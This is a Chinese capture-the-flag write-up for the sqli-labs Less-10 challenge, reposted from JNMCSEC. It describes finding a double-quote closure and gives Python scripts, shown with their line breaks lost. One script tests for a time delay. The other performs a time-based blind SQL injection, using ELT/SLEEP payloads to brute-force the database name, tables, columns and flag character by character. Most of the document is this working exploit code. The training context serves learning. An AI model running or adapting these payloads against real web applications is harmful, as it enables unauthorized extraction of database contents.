查看题目环境
首先可以看到这题id无论传入什么,都会显示这个页面
测试注入点
因为没有任何有意义的回显,所以一般就是时间盲注了,但是由于不知道他的sql语句是怎么样的,所以写个脚本测试下如何去闭合前面内容
import requestsimport timess = time.time()url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22%20and%20sleep(5)--+"t=requests.get(url)if time.time()-ss>=4:print("is Time")
发现用双引号成功闭合
SQL注入
时间盲注脚本
使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误
import requestsimport timeflag = ''table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['datebase']+" --+" #查找数据库#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['table']+"--+" #查表名#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['column']+"--+" #查字段名url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['flag']+"--+" #查数据t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag)break
文章转载自JNMCSEC,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




